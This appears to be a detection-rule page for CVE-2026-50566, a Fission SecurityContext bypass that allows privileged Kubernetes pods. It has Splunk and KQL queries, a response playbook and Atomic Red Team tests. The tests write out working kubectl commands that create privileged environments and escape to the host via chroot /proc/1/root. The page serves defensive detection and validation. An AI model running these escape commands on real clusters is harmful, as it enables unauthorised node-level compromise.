Detect Fission SecurityContext Bypass Privileged Pod Creation (CVE-2026-50566) in Splunk
Detects exploitation of CVE-2026-50566, a critical (CVSS 9.9) vulnerability in Fission (<= 1.23.0) where the Environment Runtime.Container and Builder.Container SecurityContext fields can be manipulated to bypass intended pod security restrictions, allowing creation of privileged pods within the Kubernetes cluster. Attackers with Fission Environment/Function CRUD access can escalate to node-level or cluster-level compromise by deploying privileged containers via the executor's pod spec generation, bypassing SecurityContext hardening (e.g. privileged: true, allowPrivilegeEscalation, hostPID, hostNetwork, capabilities such as SYS_ADMIN). This detection focuses on Kubernetes audit log events showing creation/update of Fission Environment CRDs with permissive securityContext blocks and subsequent pod creation events reflecting privileged escalation in namespaces managed by Fission (typically fission-function, fission-builder).
MITRE ATT&CK
SPL Detection Query
index=kubernetes sourcetype="kube:audit"
| search (objectRef.resource="environments" OR objectRef.resource="pods")
| search (verb="create" OR verb="update" OR verb="patch")
| search objectRef.namespace IN ("fission-function","fission-builder","fission")
| search (requestObject="*privileged*true*" OR requestObject="*allowPrivilegeEscalation*true*" OR requestObject="*hostPID*true*" OR requestObject="*hostNetwork*true*" OR requestObject="*SYS_ADMIN*")
| table _time, user.username, verb, objectRef.resource, objectRef.namespace, objectRef.name, requestObject
| sort -_timeIdentifies Splunk-ingested Kubernetes audit events showing privileged pod/environment creation within Fission namespaces, consistent with CVE-2026-50566 SecurityContext bypass exploitation.
Data Sources
Required Sourcetypes
False Positives & Tuning
- Authorized privileged workloads deployed by cluster operators (monitoring agents, CNI plugins)
- Test/staging clusters that intentionally run permissive Fission environments
- Automated remediation scripts re-applying Fission environment specs during patching
Other platforms for CVE-2026-50566
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Create Fission Environment with Privileged SecurityContext
Expected signal: Kubernetes audit log entry showing a 'create' verb against the environments resource in fission-function namespace with requestObject containing privileged:true and allowPrivilegeEscalation:true.
- Test 2Deploy Function Triggering Privileged Pod via Builder Container
Expected signal: Kubernetes audit log showing 'update' verb on environments resource with builder.container.securityContext containing privileged:true and hostPID:true, followed by pod creation events in fission-builder namespace.
- Test 3Verify Privileged Pod Escapes to Host Filesystem
Expected signal: Container runtime and host-level audit logs showing a process from within the fission-function namespace pod performing a chroot/mount operation accessing the host root filesystem (/proc/1/root).
References (6)
- https://github.com/fission/fission/security/advisories/GHSA-m63v-2g9w-2w6v
- https://nvd.nist.gov/vuln/detail/CVE-2026-50566
- https://github.com/fission/fission/pull/3406
- https://github.com/fission/fission/commit/695d3e97e3a20463ab7c8c081843e69e65e952e5
- https://github.com/fission/fission/releases/tag/v1.24.0
- https://github.com/advisories/GHSA-m63v-2g9w-2w6v
Response Playbook
Triage
- Identify the Fission Environment or Function object referenced in the alert and pull its full spec (kubectl get environment <name> -n <namespace> -o yaml) to confirm the Runtime.Container/Builder.Container securityContext values that were modified.
- Determine the identity (service account or user) that performed the create/update/patch action from the audit log 'user.username' field, and check whether that identity should have permission to modify Fission Environment CRDs.
- Enumerate all pods spawned in the fission-function and fission-builder namespaces around the alert timeframe (kubectl get pods -n fission-function --sort-by=.metadata.creationTimestamp) and inspect their securityContext for privileged=true, hostPID, hostNetwork, or elevated capabilities.
- Check the Fission version in use (fission version / helm get values fission) to confirm whether the cluster is running a vulnerable release (<= 1.23.0) versus the patched 1.24.0.
Containment
- Immediately cordon and isolate any node hosting a pod confirmed to be running with privileged securityContext originating from the malicious Fission Environment, then delete the offending Environment/Function and associated pods.
- Restrict RBAC on Fission CRDs (environments, functions) via a NetworkPolicy/RBAC review so only trusted CI/CD service accounts can create or update Environment objects; revoke over-permissioned bindings.
- Apply or enforce a Kubernetes admission controller policy (OPA/Gatekeeper or Kyverno) that blocks privileged securityContext fields cluster-wide as a compensating control until Fission is upgraded to v1.24.0.
Evidence Collection
- Export the full Kubernetes audit log entries (raw JSON) for the relevant time window covering the Environment creation/update and subsequent pod creation events, preserving RequestObject and ResponseObject fields.
- Capture pod specs, container images, and node placement (kubectl describe pod, kubectl get pod -o yaml) for any privileged pods spawned via the exploited Environment, and snapshot node-level artifacts (process list, mounted volumes) if privilege escalation to host is suspected.
- Collect Fission controller and executor logs (kubectl logs -n fission deployment/executor, deployment/controller) to trace the API calls that resulted in pod spec generation with the bypassed securityContext.
Escalation Criteria
- !Escalate to incident response if any privileged pod created via the Fission bypass shows evidence of host filesystem access, container escape, or lateral movement to the underlying node or other namespaces.
- !Escalate if the identity that triggered the exploitation is an external or low-privilege user/service account, indicating a broader access control compromise rather than an internal misconfiguration.
- !Escalate to cluster/platform security team if multiple clusters or namespaces show the same exploitation pattern, suggesting automated or scripted mass exploitation of the poc-public advisory.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Kubernetes API server audit log entries for environments/pods create-update-patch verbs - >
Fission controller and executor pod logs referencing the exploited Environment name - >
Node-level container runtime logs (containerd/docker) showing privileged container instantiation and any host namespace access
Tuning Guidance
Baseline which service accounts and CI/CD pipelines legitimately create or update Fission Environment objects, and scope alerting to exclude those known-good identities and namespaces. In clusters where privileged workloads are intentionally allowed (e.g., dedicated infra namespaces), narrow the detection to strictly fission-function/fission-builder namespaces and exclude expected system namespaces (kube-system, cni-system). After upgrading to Fission v1.24.0, monitor for a grace period to ensure legacy Environment objects with permissive securityContext are cleaned up, then tighten thresholds to reduce noise from residual pre-patch configurations.
Hunting Queries
Hunts for anomalous bursts of Fission Environment creation/updates referencing securityContext, which may indicate automated exploitation attempts of CVE-2026-50566 rather than a single manual change.
KubeAuditLogs
| where ObjectRef_Resource == "environments"
| where RequestObject has "securityContext"
| summarize count() by ObjectRef_Namespace, User_Username, bin(TimeGenerated, 1h)
| where count_ > 5index=kubernetes sourcetype="kube:audit" objectRef.resource=environments requestObject="*securityContext*"
| stats count by objectRef.namespace, user.username, _time
| where count > 5Atomic Red Team Tests
Simulates the CVE-2026-50566 exploitation by creating a Fission Environment whose Runtime.Container.securityContext includes privileged:true, which should generate function pods with elevated privileges.
Command
kubectl apply -n fission-function -f - <<'EOF'
apiVersion: fission.io/v1
kind: Environment
metadata:
name: atomic-test-privileged-env
spec:
version: 3
runtime:
image: fission/python-env
container:
name: atomic-test-privileged-env
securityContext:
privileged: true
allowPrivilegeEscalation: true
EOFCleanup
kubectl delete environment atomic-test-privileged-env -n fission-function --ignore-not-foundExpected Telemetry
Kubernetes audit log entry showing a 'create' verb against the environments resource in fission-function namespace with requestObject containing privileged:true and allowPrivilegeEscalation:true.
Expected Detection
KQL/SPL/Elastic queries should fire on the Environment create event referencing privileged securityContext fields in the fission-function namespace.
Deploys a Fission Function against the malicious Builder.Container environment to force the executor to spawn a builder pod with a permissive securityContext, validating the end-to-end pod creation path.
Command
fission env create --name atomic-builder-env --image fission/python-env --builder fission/python-builder --version 3
kubectl patch environment atomic-builder-env -n fission-function --type merge -p '{"spec":{"builder":{"container":{"securityContext":{"privileged":true,"hostPID":true}}}}}'
fission fn create --name atomic-test-fn --env atomic-builder-env --code /tmp/hello.pyCleanup
fission fn delete --name atomic-test-fn
fission env delete --name atomic-builder-envExpected Telemetry
Kubernetes audit log showing 'update' verb on environments resource with builder.container.securityContext containing privileged:true and hostPID:true, followed by pod creation events in fission-builder namespace.
Expected Detection
Detections monitoring both environments and pods resources should trigger on the builder container securityContext patch and the resulting privileged builder pod creation.
Validates post-exploitation impact by exec'ing into the privileged pod created via the vulnerable Fission Environment and mounting the host filesystem to confirm container escape capability.
Command
POD=$(kubectl get pods -n fission-function -l environmentName=atomic-test-privileged-env -o jsonpath='{.items[0].metadata.name}')
kubectl exec -it -n fission-function $POD -- chroot /proc/1/root /bin/sh -c 'echo atomic-test-host-access > /tmp/atomic-test-marker'Cleanup
kubectl exec -it -n fission-function $POD -- rm -f /proc/1/root/tmp/atomic-test-marker || true
kubectl delete pod $POD -n fission-function --ignore-not-foundExpected Telemetry
Container runtime and host-level audit logs showing a process from within the fission-function namespace pod performing a chroot/mount operation accessing the host root filesystem (/proc/1/root).
Expected Detection
Endpoint/host-based detections for container escape (chroot to /proc/1/root, privileged exec) should fire, correlating with the earlier Kubernetes audit alert for the privileged Environment/pod creation.